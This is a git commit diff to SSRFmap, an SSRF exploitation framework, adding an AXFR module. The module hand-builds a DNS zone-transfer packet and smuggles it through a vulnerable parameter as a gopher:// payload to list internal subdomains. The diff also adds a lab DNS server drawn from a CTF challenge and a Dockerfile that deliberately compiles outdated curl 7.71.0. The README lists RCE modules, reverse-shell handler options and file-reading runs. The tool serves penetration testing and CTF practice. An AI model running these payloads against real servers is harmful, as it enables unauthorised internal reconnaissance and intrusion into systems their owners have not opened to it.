AXFR module - DNS Zone Transfer
parent
4e92e88913
commit
d431d336bf
|
@ -3,7 +3,13 @@ FROM python:3.12.4-alpine
|
|||
WORKDIR /usr/src/app
|
||||
COPY . /usr/src/app
|
||||
|
||||
RUN apk update && apk add curl
|
||||
RUN apk update
|
||||
|
||||
# Install curl with outdated libcurl
|
||||
RUN apk add --update build-base cmake c-ares-dev
|
||||
RUN cp examples/curl-7.71.0.tar.gz /tmp
|
||||
RUN tar -xvf /tmp/curl-7.71.0.tar.gz -C /tmp/
|
||||
RUN cd /tmp/curl-7.71.0 && ./configure --enable-ares && make && make install
|
||||
|
||||
# Install requirements
|
||||
RUN pip install -r requirements.txt
|
||||
|
|
16
README.md
16
README.md
|
@ -20,7 +20,8 @@ SSRF are often used to leverage actions on other services, this framework aims t
|
|||
The following modules are already implemented and can be used with the `-m` argument.
|
||||
|
||||
| Name | Description |
|
||||
| :------------- | :------------- |
|
||||
| :------------- | :------------------------------------------------------- |
|
||||
| `axfr` | DNS zone transfers (AXFR) |
|
||||
| `fastcgi` | FastCGI RCE |
|
||||
| `redis` | Redis RCE |
|
||||
| `github` | Github Enterprise RCE < 2.8.7 |
|
||||
|
@ -63,8 +64,8 @@ The following modules are already implemented and can be used with the `-m` argu
|
|||
-m MODULES SSRF Modules to enable
|
||||
-l HANDLER Start an handler for a reverse shell
|
||||
-v [VERBOSE] Enable verbosity
|
||||
--lhost LHOST LHOST reverse shell
|
||||
--lport LPORT LPORT reverse shell
|
||||
--lhost LHOST LHOST reverse shell or IP to target in the network
|
||||
--lport LPORT LPORT reverse shell or port to target in the network
|
||||
--uagent USERAGENT User Agent to use
|
||||
--ssl [SSL] Use HTTPS without verification
|
||||
--proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080)
|
||||
|
@ -150,7 +151,14 @@ A quick way to test the framework can be done with `data/example.py` SSRF servic
|
|||
* Docker
|
||||
```ps1
|
||||
docker build --no-cache -t ssrfmap .
|
||||
|
||||
# run example ssrf http service
|
||||
docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py
|
||||
|
||||
# run example ssrf dns service
|
||||
docker exec -u root:root -it example python examples/ssrf_dns.py
|
||||
|
||||
# run ssrfmap tool
|
||||
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
|
||||
```
|
||||
|
||||
|
@ -163,6 +171,8 @@ docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m rea
|
|||
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
|
||||
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
|
||||
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
|
||||
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
|
||||
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab
|
||||
```
|
||||
|
||||
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,50 @@
|
|||
# NOTE example script heavily inspired from FCSC CTF 2024
|
||||
# use this example to test the AXFR module
|
||||
# dig @127.0.0.1 -p 53 example.lab AXFR
|
||||
|
||||
from dnslib.server import DNSServer, BaseResolver
|
||||
from dnslib import RR, QTYPE, RCODE, A
|
||||
from dns import resolver
|
||||
import threading
|
||||
|
||||
DOMAINS = {
|
||||
"frontend.example.lab.": "10.10.10.10",
|
||||
"backend.example.lab.": "10.10.10.11",
|
||||
"secret_flag.example.lab.": "10.10.10.12",
|
||||
"test.example.lab.": "10.10.10.12"
|
||||
}
|
||||
|
||||
class LocalDNS(BaseResolver):
|
||||
def resolve(self, request, handler):
|
||||
reply = request.reply()
|
||||
q = request.q
|
||||
|
||||
print('', flush=True)
|
||||
|
||||
if q.qtype == QTYPE.A and str(q.qname) in DOMAINS:
|
||||
reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(DOMAINS[str(q.qname)])))
|
||||
elif q.qtype == QTYPE.A:
|
||||
default_resolver = resolver.Resolver()
|
||||
try:
|
||||
answers = default_resolver.resolve(str(q.qname), "A")
|
||||
for answer in answers:
|
||||
reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(answer.address)))
|
||||
except:
|
||||
reply.header.rcode = RCODE.NXDOMAIN
|
||||
elif q.qtype == QTYPE.AXFR and str(q.qname) == "example.lab.":
|
||||
for domain, ip in DOMAINS.items():
|
||||
reply.add_answer(RR(domain, QTYPE.A, rdata=A(ip)))
|
||||
else:
|
||||
reply.header.rcode = RCODE.NXDOMAIN
|
||||
|
||||
return reply
|
||||
|
||||
def run_server(protocol):
|
||||
print(f"Server is running - {protocol}")
|
||||
resolver = LocalDNS()
|
||||
server = DNSServer(resolver, address="0.0.0.0", port=53, tcp=(protocol == "TCP"))
|
||||
server.start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
threading.Thread(target=run_server, args=("TCP",)).start()
|
||||
threading.Thread(target=run_server, args=("UDP",)).start()
|
|
@ -0,0 +1,91 @@
|
|||
from core.utils import wrapper_gopher, gen_ip_list
|
||||
from urllib.parse import quote
|
||||
import logging
|
||||
import binascii
|
||||
|
||||
name = "axfr"
|
||||
description = "AXFR DNS"
|
||||
author = "Swissky"
|
||||
documentation = [
|
||||
"https://vozec.fr/writeups/pong-fcsc2024-en/",
|
||||
"https://mizu.re/post/pong",
|
||||
"https://gist.github.com/Siss3l/32591a6d6f33f78bb300bfef241de262"
|
||||
]
|
||||
|
||||
class exploit():
|
||||
SERVER_HOST = "127.0.0.1"
|
||||
SERVER_PORT = "53"
|
||||
SERVER_DOMAIN = "example.lab"
|
||||
|
||||
def __init__(self, requester, args):
|
||||
logging.info(f"Module '{name}' launched !")
|
||||
|
||||
# Handle args for custom DNS target
|
||||
if args.lhost is not None:
|
||||
self.SERVER_HOST = args.lhost
|
||||
if args.lport is not None:
|
||||
self.SERVER_PORT = args.lport
|
||||
if args.ldomain is not None:
|
||||
self.SERVER_DOMAIN = args.ldomain
|
||||
|
||||
# Using a generator to create the host list
|
||||
gen_host = gen_ip_list(self.SERVER_HOST, args.level)
|
||||
for ip in gen_host:
|
||||
domain,tld = self.SERVER_DOMAIN.split('.')
|
||||
|
||||
# DNS AXFR - TCP packet format
|
||||
dns_request = b"\x01\x03\x03\x07" # BITMAP
|
||||
dns_request += b"\x00\x01" # QCOUNT
|
||||
dns_request += b"\x00\x00" # ANCOUNT
|
||||
dns_request += b"\x00\x00" # NSCOUNT
|
||||
dns_request += b"\x00\x00" # ARCOUNT
|
||||
|
||||
dns_request += len(domain).to_bytes() # LEN DOMAIN
|
||||
dns_request += domain.encode() # DOMAIN
|
||||
dns_request += len(tld).to_bytes() # LEN TLD
|
||||
dns_request += tld.encode() # TLD
|
||||
dns_request += b"\x00" # DNAME EOF
|
||||
|
||||
dns_request += b"\x00\xFC" # QTYPE AXFR (252)
|
||||
dns_request += b"\x00\x01" # QCLASS IN (1)
|
||||
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
|
||||
|
||||
payload = wrapper_gopher(quote(dns_request), ip , self.SERVER_PORT)
|
||||
|
||||
# Send the payload
|
||||
r = requester.do_request(args.param, payload)
|
||||
self.parse_output(r.text)
|
||||
|
||||
|
||||
def parse_output(self, data):
|
||||
# removing header part
|
||||
lheader = len(b"\x00" + b"\x6a" + b"\x01\x03" + b"\xef\xbf\xbd" + b"\xef\xbf\xbd" + b"\x00")
|
||||
lother = len(b"\x01\x00" + b"\x03" + b"\x00\x00\x00\x00")
|
||||
hex_output = binascii.hexlify(data.encode())
|
||||
hex_output = hex_output[(lheader+lother)*2:]
|
||||
data = binascii.unhexlify(hex_output)
|
||||
|
||||
# extracting size
|
||||
domain_size = data[0]
|
||||
domain = data[1:domain_size+1]
|
||||
logging.debug(f"DOMAIN: {domain_size}, {domain.decode()}")
|
||||
|
||||
tld_size = data[domain_size+1]
|
||||
tld = data[domain_size+2:domain_size+2+tld_size]
|
||||
logging.debug(f"TLD: {tld_size}, {tld.decode()}")
|
||||
|
||||
# subdomains
|
||||
subdata = data[domain_size+2+tld_size:]
|
||||
subdata_arr = subdata.decode().split("<EFBFBD>")
|
||||
for sub in subdata_arr:
|
||||
printable = self.bytes_to_printable_string(sub.encode())
|
||||
if printable != '':
|
||||
logging.info(f"\033[32mSubdomain found\033[0m : {printable}")
|
||||
|
||||
|
||||
def bytes_to_printable_string(self, byte_string):
|
||||
# Filter out non-printable characters and decode the byte string
|
||||
printable_chars = (chr(byte) for byte in byte_string if chr(byte).isprintable())
|
||||
# Concatenate the printable characters into a single string
|
||||
printable_string = ''.join(printable_chars)
|
||||
return printable_string
|
|
@ -1,2 +1,5 @@
|
|||
Flask==3.0.3
|
||||
requests==2.31.0
|
||||
dnslib==0.9.24
|
||||
dnspython==2.6.1
|
||||
tldextract==5.1.2
|
|
@ -28,8 +28,9 @@ def parse_args():
|
|||
parser.add_argument('-m', action ='store', dest='modules', help="SSRF Modules to enable")
|
||||
parser.add_argument('-l', action ='store', dest='handler', help="Start an handler for a reverse shell", nargs='?', const='1')
|
||||
parser.add_argument('-v', action ='store_true', dest='verbose', help="Enable verbosity")
|
||||
parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell")
|
||||
parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell")
|
||||
parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell or IP to target in the network")
|
||||
parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell or port to target in the network")
|
||||
parser.add_argument('--ldomain', action ='store', dest='ldomain', help="Domain to target for AXFR query or domain related modules")
|
||||
parser.add_argument('--rfiles', action ='store', dest='targetfiles', help="Files to read with readfiles module", nargs='?', const=True)
|
||||
parser.add_argument('--uagent',action ='store', dest='useragent', help="User Agent to use")
|
||||
parser.add_argument('--ssl', action ='store', dest='ssl', help="Use HTTPS without verification", nargs='?', const=True)
|
||||
|
|
Loading…
Reference in New Issue